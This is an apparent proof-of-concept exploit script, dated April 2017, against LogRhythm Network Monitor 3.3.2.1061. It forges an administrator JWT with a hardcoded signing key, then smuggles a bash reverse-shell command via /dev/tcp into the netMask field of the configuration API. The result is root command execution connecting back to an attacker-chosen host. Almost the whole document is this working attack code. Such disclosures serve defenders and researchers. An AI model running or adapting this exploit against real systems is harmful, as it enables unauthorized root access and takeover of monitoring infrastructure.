# Exploit Title: LogRhythm Network Monitor Auth Bypass Root RCE
# Public Disclosure Date: 24 Apr 2017
# Author: Francesco Oddo
# Reference: http://security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf
# Software Link: https://logrhythm.com/network-monitor-freemium/
# Version: 3.3.2.1061 (latest) or below
# Tested On: nm_install_3.3.2.1061.iso with Freemium License (SHA256 7978f84e9fb18e2fae95f77a263801ca89b4767c95154b9ea874032081b02ce1)
# Dependencies: `pip install PyJWT`
import json
import requests
import argparse
import time
import jwt
def forge_jwt(rhost):
print "[+] Forging JWT authentication token"
key = 'Gluten-free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow-carb plaid occaecat nostrud green juice dolor!'
iat = time.time()
exp = iat + 3600;
body = json.loads('{"iat":1479893930,"exp":1479894830,"data":{"username":"admin","licensed":true,"role":"admin","timeToResetPass":false}}')
body["iat"] = int(iat)
body["exp"] = int(exp)
token = jwt.encode(body, key, algorithm='HS512');
return token
def command_inject(rhost, lhost, lport, gwhost, ifname):
uri = "https://%s/data/api/configuration/" % rhost
json_body = json.loads('{"type":"network","configurations":[{"name":"interface","value":"","isToggle":false},{"name":"method","value":true,"isToggle":true},{"name":"ipAddress","value":"","isToggle":false},{"name":"netMask","value":"255.255.255.0","isToggle":false},{"name":"gateway","value":"","isToggle":false},{"name":"dnsServers","value":"","isToggle":false},{"name":"searchDomains","value":"","isToggle":false}],"diffFields":["dnsServers"]}')
payload = ";bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport)
json_body["configurations"][0]["value"] = ifname
json_body["configurations"][2]["value"] = rhost
json_body["configurations"][3]["value"] = payload
json_body["configurations"][4]["value"] = gwhost
json_body["configurations"][5]["value"] = gwhost
jwt = forge_jwt(rhost)
auth_header = {'Token': jwt}
print "[+] Initiating reverse shell via command injection at %s:%s" % (lhost, lport)
requests.post(url=uri, json=json_body, headers=auth_header, verify=False)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='LogRhythm Network Monitor Root Remote Command Execution PoC')
parser.add_argument('--rhost', help='RHOST IP address')
parser.add_argument('--lhost', help='LHOST IP address')
parser.add_argument('--lport', help='LPORT')
parser.add_argument('--gwhost', help='Gateway IP address')
parser.add_argument('--ifname', help='Target Interface Identifier', default='enp0s3')
args = parser.parse_args()
command_inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname)
